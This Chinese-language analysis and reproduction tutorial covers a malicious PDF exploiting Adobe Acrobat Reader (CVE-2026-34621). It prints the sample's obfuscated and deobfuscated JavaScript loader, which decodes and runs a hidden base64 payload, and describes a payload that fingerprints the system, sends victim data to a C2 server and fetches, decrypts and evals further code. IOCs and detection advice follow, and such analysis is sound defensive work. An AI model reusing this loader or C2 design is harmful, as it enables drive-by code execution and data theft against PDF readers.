CVE-2026-34621 Adobe Acrobat Reader 漏洞利用样本深度分析与复现教学
1. 漏洞概述
CVE-2026-34621 是 2026 年 4 月被发现的针对 Adobe Acrobat Reader 的关键安全漏洞,由安全研究机构 EXPMON 率先捕获。捕获时该漏洞已处于在野利用状态,具备较高的安全风险。此漏洞允许攻击者通过恶意构造的 PDF 文档,在受害者系统中执行任意代码。
核心异常现象:
- 构建弹框响应载荷
app.alert("T0daySeeker")即可触发漏洞 - 首次触发后,Adobe Reader 会在不发起网络请求的情况下多次触发弹框
- 关闭漏洞 PDF 后,仅打开 Adobe Reader 软件仍会触发弹框
- 操作系统重启后,打开 Adobe Reader 软件依然触发弹框行为
- 结合现象推测:响应载荷被嵌入到 Adobe Acrobat Reader 软件进程中
2. 漏洞原理与详情
2.1 漏洞核心原理
CVE-2026-34621 的核心成因是 Adobe Reader 的 JavaScript 解释器在处理 PDF 内部对象属性时存在缺陷。在 JavaScript 运行环境中,几乎所有对象都继承自全局基础对象 Object.prototype。此漏洞允许攻击者通过恶意构造的 PDF 结构,在解析过程中篡改这一全局原型的属性,进而触发后续恶意行为。
2.2 官方公告
2026 年 4 月 11 日,Adobe 官方在 APSB26-43 安全公告 中正式确认了此漏洞,并公布了受影响的软件版本。
2.3 漏洞触发条件
- 必需环境:必须使用 Adobe Acrobat Reader 工具打开 PDF
- 不触发环境:使用非 Adobe Acrobat Reader 工具(如浏览器、其他 PDF 阅读器)打开时,仅显示 "You need to open this PDF in Adobe Acrobat Reader." 提示,不会触发漏洞
3. 恶意样本结构分析
3.1 PDF 结构探查
使用 010editor 工具打开漏洞 PDF 样本,借助其 Template 功能查看文件结构:
- 在 9 0 obj 结构中存在被嵌入的 JavaScript 脚本
- 在 7 0 obj 结构中存放隐藏的 Base64 编码载荷数据
3.2 恶意 JavaScript 脚本提取
初始提取的混淆脚本代码片段如下:
app.t = app["s"+${}+[]$[[+!+[]]+[+!+[]]]+"tTim"+${}+[]$[[+!+[]]+[+!+[]]]+"Out"]$util["str"+\(!+[]/+[]+[]$[!+[]+!+[]+!+[]]+"ngFromStr"+${}+[]$[[+!+[]]+[+!+[]]]+$+{}+[]$[+!+[]]+"m"]$SOAP["stre"+\(+{}+[]$[+!+[]]+"mD"+${}+[]$[[+!+[]]+[+!+[]]]+"cod"+${}+[]$[[+!+[]]+[+!+[]]]]$util["str"+\({}+[]$[[+!+[]]+[+!+[]]]+$+{}+[]$[+!+[]]+"mFromStr"+$!+[]/+[]+[]$[!+[]+!+[]+!+[]]+"ng"]$getField\(\({}+[]$[!+[]+!+[]]+$!![]+[]$[+[]]+$[][[]]+[]$[+!+[]]+$+!+[]+[]$\)["v"+$+{}+[]$[+!+[]]+$![]+[]$[!+[]+!+[]]+"ue"]\), ${}+[]$[!+[]+!+[]]+$+{}+[]$[+!+[]]+$![]+[]$[!+[]+!+[]+!+[]]+${}+[]$[[+!+[]]+[+!+[]]]+$!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[]$+$!+[]+!+[]+!+[]+!+[]+[]$\)\), 500\);
3.3 字符转义处理
脚本中 $ 和 $ 是 PDF 格式特有的转义字符,对应原始字符 ( 和 )。处理转义字符后得到:
app.t = app["s"+({}+[])[[+!+[]]+[+!+[]]]+"tTim"+({}+[])[[+!+[]]+[+!+[]]]+"Out"](util["str"+(!+[]/+[]+[])[!+[]+!+[]+!+[]]+"ngFromStr"+({}+[])[[+!+[]]+[+!+[]]]+(+{}+[])[+!+[]]+"m"](SOAP["stre"+(+{}+[])[+!+[]]+"mD"+({}+[])[[+!+[]]+[+!+[]]]+"cod"+({}+[])[[+!+[]]+[+!+[]]]](util["str"+({}+[])[[+!+[]]+[+!+[]]]+(+{}+[])[+!+[]]+"mFromStr"+(!+[]/+[]+[])[!+[]+!+[]+!+[]]+"ng"](getField(({}+[])[!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+!+[]]+(+!+[]+[]))["v"+(+{}+[])[+!+[]]+(![]+[])[!+[]+!+[]]+"ue"]), ({}+[])[!+[]+!+[]]+(+{}+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+({}+[])[[+!+[]]+[+!+[]]]+(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[])+(!+[]+!+[]+!+[]+!+[]+[]))), 500);
3.4 混淆字符串解密
通过浏览器 Console 测试运行,解密混淆字符串:
({}+[])[[+!+[]]+[+!+[]]]解密为"o"(!+[]/+[]+[])[!+[]+!+[]+!+[]]解密为"i"(+{}+[])[+!+[]]解密为"N"
3.5 完全去混淆后脚本
去混淆后的清晰 JavaScript 代码:
app.t = app["setTimeOut"](
util["stringFromStream"](
SOAP["streamDecode"](
util["streamFromString"](
getField("btn1")["value"]
),
"base64"
)
),
500);
3.6 脚本功能解析
- 从 PDF 隐藏表单字段
btn1中提取数据 - 使用 Base64 对提取的数据进行解码
- 将解码后的数据转换为可执行的 JavaScript 代码
- 延迟 500 毫秒后,自动执行 JavaScript 代码
4. Base64 载荷解码与分析
4.1 载荷定位
通过 010editor 工具查看,btn1 载荷数据存放于 7 0 obj 结构中,数据为 Base64 编码格式。
4.2 PDF 转义字符处理
PDF 格式使用 #xx 格式的转义字符(xx 为十六进制 ASCII 码):
#20→ 空格#25→%#28→(#29→)#2B→+#2F→/#3D→=#0A→ 换行#0D→ 回车
自动化去转义字符脚本(JavaScript):
function decodePdfHex(str) {
return str.replace(/#([0-9A-Fa-f]{2})/g, function(match, hex) {
return String.fromCharCode(parseInt(hex, 16));
});
}
4.3 Base64 解码
使用上述函数处理转义字符后,得到标准的 Base64 编码数据,再进行 Base64 解码,得到混淆的 JavaScript 代码。
5. 混淆载荷分析与去混淆
5.1 代码混淆机制
解码后的代码包含大量混淆函数调用,格式为 _0x204aee(0x20e) 或 a0_0xca7600(0x1ee) 形式。混淆机制包括:
- 字符串数组存储:
_0x25ecb7变量中存放乱序的字符串数组 - 数组排序算法:通过特定算法将乱序数组调整为正确顺序
- 动态字符串获取:从函数参数计算数组偏移量,获取对应的原始字符串
5.2 自动化去混淆脚本(Go 语言)
package main
import (
"fmt"
"io/ioutil"
"regexp"
"strconv"
"strings"
)
var stringArray = []string{
"readFileIntoStream", "Array contains invalid value: ", "50Mzxccu", "WIN8.1",
"34427148OAgwFl", "bind", "BMAX", "3321368QxbaCZ", "tmp2", "6114PHEMtF",
"string passed to hex2bin does not have len % 4 == 0!!", "toBytes", "27BdhEkG",
}
func jsParseInt(s string) float64 {
re := regexp.MustCompile(`^[0-9]+`)
match := re.FindString(s)
val, _ := strconv.ParseFloat(match, 64)
return val
}
func getStr(idx int) string {
return stringArray[idx-0x1d8]
}
func main() {
target := float64(0xb6335) // 746293
for {
sum := (-jsParseInt(getStr(0x24d))/1.0)*(-jsParseInt(getStr(0x23e))/2.0) +
-jsParseInt(getStr(0x230))/3.0 +
(-jsParseInt(getStr(0x231))/4.0)*(-jsParseInt(getStr(0x24c))/5.0) +
(-jsParseInt(getStr(0x268))/6.0)*(jsParseInt(getStr(0x237))/7.0) +
(-jsParseInt(getStr(0x266))/8.0)*(jsParseInt(getStr(0x1d9))/9.0) +
(jsParseInt(getStr(0x261))/10.0)*(-jsParseInt(getStr(0x1e1))/11.0) +
jsParseInt(getStr(0x263))/12.0
if sum == target {
break
} else {
// 数组旋转
stringArray = append(stringArray[1:], stringArray[0])
}
}
// 读取混淆文件并执行替换
filePath := "base64_dec_repair.js"
content, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Printf("读取文件失败: %v\n", err)
return
}
re := regexp.MustCompile(`_0x38c238+$(0x[0-9a-fA-F]+)$`)
newContent := re.ReplaceAllStringFunc(string(content), func(match string) string {
subMatches := re.FindStringSubmatch(match)
if len(subMatches) < 2 {
return match
}
hexStr := subMatches[1]
val, err := strconv.ParseInt(strings.TrimPrefix(hexStr, "0x"), 16, 64)
if err != nil {
return match
}
decoded := getStr(int(val))
return fmt.Sprintf(`"%s"`, decoded)
})
err = ioutil.WriteFile("base64_dec_repair.js", []byte(newContent), 0644)
if err != nil {
fmt.Printf("保存文件失败: %v\n", err)
return
}
}
6. 恶意载荷功能分析
6.1 环境指纹提取
恶意脚本执行后,首先对运行环境进行严格指纹验证:
筛选条件:
- 版本检测:要求 Adobe Reader 版本必须大于 21.00120138
- 平台检测:必须为 Windows 平台(WIN),且明确要求为 Windows 10
- 架构检测:通过
isReader64bit()检查是否为 64 位阅读器
若检测不符合条件,脚本会记录错误信息并终止攻击流程。
6.2 动态 URL 构建
环境检测通过后,恶意脚本动态生成数据回传和载荷请求的 URL:
C2 服务器:169.40.2.68:45191
URL 构建逻辑:
-
数据回传(dog1):根据 Adobe Reader 版本选择请求
/s11或/s12路径- URL 中携带敏感信息:浏览器版本、系统版本、PDF 文件路径等
-
载荷请求(dog2):根据 Adobe Reader 版本选择请求
/rs1或/rs2路径- 用于获取后续恶意载荷
- 请求头中包含
cType: "JS"参数,表示返回的数据将作为 JavaScript 执行
6.3 外联请求流程
恶意脚本运行后,按顺序发起以下请求:
- 第一个
dog2请求:获取初始载荷 - 第二个
dog2请求:获取额外载荷 dog1请求:回传受害者系统信息
6.4 载荷解密与执行
恶意脚本通过循环检查 bird0(Key)和 bird1(Ciphertext)数据判断是否成功下载后续载荷。成功下载后:
-
解密流程:
- 调用 AES 算法解密加密载荷
- 使用 zlib 压缩算法解压缩数据
-
执行流程:调用
eval()函数执行解密后的恶意代码
7. 攻击复现与测试
7.1 模拟网络行为测试
在模拟 C&C 服务器端构建响应载荷,格式如下:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 32
app.alert("T0daySeeker_TEST");
7.2 测试环境
- 受控端软件:AcroRdrDCx642600121367_en_US.exe
- 触发方式:打开漏洞 PDF 样本
7.3 攻击现象观察
- 首次触发:受控端执行响应载荷代码,仅发起一次外联请求,但实际执行多次响应载荷代码
- 持久性测试:关闭漏洞 PDF 文档后,仅打开 Adobe Acrobat Reader 软件,仍会执行响应载荷代码(无外联请求)
- 重启测试:重启操作系统后,打开 Adobe Acrobat Reader 软件,弹框行为依然触发
8. IOC(入侵指标)
8.1 文件哈希
- MD5/SHA1/SHA256:样本中未明确提供,但实际分析时应计算
- 示例格式:
65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7
8.2 网络 IOC
- C2 服务器:
http://169.40.2.68:45191/ - 地理位置:拉脱维亚 里加市
- URL 路径:
/s11、/s12、/rs1、/rs2
8.3 行为特征
-
PDF 结构特征:
- 包含混淆的 JavaScript 代码(9 0 obj)
- 包含 Base64 编码的隐藏载荷(7 0 obj)
- 使用 PDF 转义字符(#xx 格式)
-
运行时特征:
- 检测 Adobe Reader 版本(> 21.00120138)
- 检测 Windows 10 系统
- 检测 64 位架构
- 发起特定格式的 HTTP 请求(包含
cType: "JS"头)
-
持久性特征:
- 关闭 PDF 后仍可触发
- 重启系统后仍可触发
- 无外联请求的后续执行
9. 防御与检测建议
9.1 立即缓解措施
- 应用补丁:立即安装 Adobe 官方发布的 APSB26-43 安全公告中的修复补丁
- 版本升级:更新 Adobe Acrobat Reader 到最新版本
- 禁用 JavaScript:在 Adobe Reader 设置中禁用 JavaScript 执行(会影响部分合法功能)
9.2 网络层检测
- 流量监控:检测到
169.40.2.68:45191的外联连接 - URL 模式:监控对
/s11、/s12、/rs1、/rs2路径的请求 - HTTP 头特征:检测包含
cType: "JS"的请求头
9.3 终端检测
- 进程行为:监控 Adobe Reader 进程的异常网络连接
- 文件特征:扫描包含混淆 JavaScript 和 Base64 载荷的 PDF 文件
- 内存特征:检测 Adobe Reader 进程内存中的恶意代码注入
9.4 高级威胁狩猎
- YARA 规则:编写检测此漏洞利用特征的 YARA 规则
- EDR 检测:配置端点检测响应规则,捕获异常 PDF 文件执行行为
- 沙箱分析:对可疑 PDF 文件进行动态行为分析
文档未详述的内容,但基于安全分析最佳实践补充:
- 在实际分析环境中,建议在隔离的虚拟机中进行样本分析
- 分析时应记录完整的 API 调用序列和系统调用
- 对于此类漏洞利用,建议提取完整的攻击链(Exploit Chain)以便进行深度检测规则开发
- 考虑此漏洞可能与其他漏洞形成组合攻击,需进行关联分析